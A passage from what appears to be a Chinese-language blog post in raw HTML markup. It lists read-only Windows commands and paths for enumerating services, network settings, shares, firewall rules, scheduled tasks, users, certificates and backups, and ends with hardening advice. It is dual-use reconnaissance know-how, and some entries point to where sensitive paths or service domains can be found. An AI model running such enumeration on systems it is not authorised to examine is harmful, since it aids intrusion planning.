&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-ItemProperty&lt;/span&gt; &lt;span class="n"&gt;HKLM&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Software&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Microsoft&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Windows&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;CurrentVersion&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Uninstall&lt;/span&gt;&lt;span class="p"&gt;\*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-Service&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Status&lt;/span&gt; &lt;span class="o"&gt;-eq&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Running&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="164-查看网络配置"&gt;16.4. 查看网络配置
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看IP配置&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ipconfig&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetIPConfiguration&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetIPAddress&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看路由表&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;route&lt;/span&gt; &lt;span class="n"&gt;print&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetRoute&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看DNS缓存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ipconfig&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;displaydns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-DnsClientCache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看ARP缓存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;arp&lt;/span&gt; &lt;span class="n"&gt;-a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetNeighbor&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="165-查看共享和权限"&gt;16.5. 查看共享和权限
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看共享文件夹&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;share&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-SmbShare&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看共享会话&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-SmbSession&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看打开的文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;openfiles&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-SmbOpenFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="166-查看防火墙规则"&gt;16.6. 查看防火墙规则
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看防火墙状态&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;netsh&lt;/span&gt; &lt;span class="n"&gt;advfirewall&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt; &lt;span class="n"&gt;allprofiles&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetFirewallProfile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看防火墙规则&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;netsh&lt;/span&gt; &lt;span class="n"&gt;advfirewall&lt;/span&gt; &lt;span class="n"&gt;firewall&lt;/span&gt; &lt;span class="n"&gt;show&lt;/span&gt; &lt;span class="n"&gt;rule&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetFirewallRule&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Enabled&lt;/span&gt; &lt;span class="o"&gt;-eq&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;True&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看特定端口的规则&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-NetFirewallPortFilter&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LocalPort&lt;/span&gt; &lt;span class="o"&gt;-eq&lt;/span&gt; &lt;span class="mf"&gt;80&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="167-查看计划任务"&gt;16.7. 查看计划任务
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看计划任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;schtasks&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fo&lt;/span&gt; &lt;span class="n"&gt;LIST&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-ScheduledTask&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;State&lt;/span&gt; &lt;span class="o"&gt;-eq&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Ready&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="168-查看用户和组"&gt;16.8. 查看用户和组
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看本地用户&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-LocalUser&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看本地组&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;net&lt;/span&gt; &lt;span class="n"&gt;localgroup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-LocalGroup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 查看登录会话&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;qwinsta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="17-wmi-windows-management-instrumentation-查询"&gt;17. WMI (Windows Management Instrumentation) 查询
&lt;/h2&gt;&lt;h3 id="171-网络适配器配置"&gt;17.1. 网络适配器配置
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-WmiObject&lt;/span&gt; &lt;span class="n"&gt;-Class&lt;/span&gt; &lt;span class="n"&gt;Win32_NetworkAdapterConfiguration&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;IPEnabled&lt;/span&gt; &lt;span class="o"&gt;-eq&lt;/span&gt; &lt;span class="vm"&gt;$true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="172-监听端口"&gt;17.2. 监听端口
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-WmiObject&lt;/span&gt; &lt;span class="n"&gt;-Class&lt;/span&gt; &lt;span class="n"&gt;Win32_Process&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where-Object&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Name&lt;/span&gt; &lt;span class="o"&gt;-like&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;*server*&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="173-已安装的软件"&gt;17.3. 已安装的软件
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-WmiObject&lt;/span&gt; &lt;span class="n"&gt;-Class&lt;/span&gt; &lt;span class="n"&gt;Win32_Product&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="18-容器和虚拟化"&gt;18. 容器和虚拟化
&lt;/h2&gt;&lt;h3 id="181-docker-windows容器"&gt;18.1. Docker (Windows容器)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置文件&lt;/strong&gt;: &lt;code&gt;C:\ProgramData\Docker\config\daemon.json&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;docker&lt;/span&gt; &lt;span class="nb"&gt;ps
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;docker&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;container_id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看容器端口映射&lt;/p&gt;
&lt;h3 id="182-hyper-v"&gt;18.2. Hyper-V
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置路径&lt;/strong&gt;: 通过Hyper-V管理器查看&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PowerShell命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-VM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-VMNetworkAdapter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看虚拟机网络配置&lt;/p&gt;
&lt;h2 id="19-云和企业服务"&gt;19. 云和企业服务
&lt;/h2&gt;&lt;h3 id="191-azure-arc"&gt;19.1. Azure Arc
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置路径&lt;/strong&gt;: &lt;code&gt;C:\ProgramData\AzureConnectedMachineAgent\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: Azure混合云连接配置&lt;/p&gt;
&lt;h3 id="192-system-center-configuration-manager-sccm"&gt;19.2. System Center Configuration Manager (SCCM)
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;客户端路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\CCM\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志路径&lt;/strong&gt;: &lt;code&gt;C:\Windows\CCM\Logs\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 企业配置管理信息&lt;/p&gt;
&lt;h2 id="20-安全相关配置"&gt;20. 安全相关配置
&lt;/h2&gt;&lt;h3 id="201-bitlocker配置"&gt;20.1. BitLocker配置
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;注册表路径&lt;/strong&gt;: &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\FVE&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 磁盘加密配置&lt;/p&gt;
&lt;h3 id="202-windows-defender"&gt;20.2. Windows Defender
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置路径&lt;/strong&gt;: &lt;code&gt;C:\ProgramData\Microsoft\Windows Defender\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志路径&lt;/strong&gt;: &lt;code&gt;C:\ProgramData\Microsoft\Windows Defender\Support\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PowerShell命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-MpPreference&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-MpComputerStatus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="203-审计策略"&gt;20.3. 审计策略
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;查看命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;auditpol&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 了解系统审计配置&lt;/p&gt;
&lt;h2 id="21-证书和加密"&gt;21. 证书和加密
&lt;/h2&gt;&lt;h3 id="211-证书存储"&gt;21.1. 证书存储
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;路径&lt;/strong&gt;: &lt;code&gt;C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;查看命令&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-ChildItem&lt;/span&gt; &lt;span class="n"&gt;-Path&lt;/span&gt; &lt;span class="n"&gt;Cert&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;LocalMachine&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;My&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Get-ChildItem&lt;/span&gt; &lt;span class="n"&gt;-Path&lt;/span&gt; &lt;span class="n"&gt;Cert&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;CurrentUser&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;My&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 查看安装的SSL/TLS证书,可能揭示服务域名&lt;/p&gt;
&lt;h2 id="22-备份和恢复"&gt;22. 备份和恢复
&lt;/h2&gt;&lt;h3 id="221-windows-server-backup"&gt;22.1. Windows Server Backup
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;配置路径&lt;/strong&gt;: 通过Windows Server Backup管理&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日志路径&lt;/strong&gt;: 事件查看器中的 Microsoft-Windows-Backup&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用途&lt;/strong&gt;: 可能包含敏感文件路径和配置信息&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="安全建议-1"&gt;安全建议
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;访问控制&lt;/strong&gt;: 严格限制对注册表、配置文件和系统目录的访问权限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;审计日志&lt;/strong&gt;: 启用详细的审计日志记录,监控对敏感文件和注册表的访问&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防火墙配置&lt;/strong&gt;: 使用Windows防火墙或第三方防火墙限制入站和出站连接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定期审计&lt;/strong&gt;: 定期检查开放的端口、运行的服务和启动项&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小化服务&lt;/strong&gt;: 禁用或删除不必要的服务和功能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;补丁管理&lt;/strong&gt;: 及时应用Windows更新和安全补丁&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加密敏感数据&lt;/strong&gt;: 使用BitLocker加密磁盘,加密敏感配置文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络分段&lt;/strong&gt;: 使用VLAN和防火墙规则隔离敏感服务&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;监控异常&lt;/strong&gt;: 使用SIEM工具监控异常的端口扫描和服务访问&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;强化RDP&lt;/strong&gt;: 修改RDP默认端口,使用网络级身份验证(NLA),限制访问IP&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2 id="常见windows服务端口速查表"&gt;常见Windows服务端口速查表
&lt;/h2&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;服务&lt;/th&gt;
 &lt;th&gt;默认端口&lt;/th&gt;
 &lt;th&gt;协议&lt;/th&gt;
 &lt;th&gt;说明&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
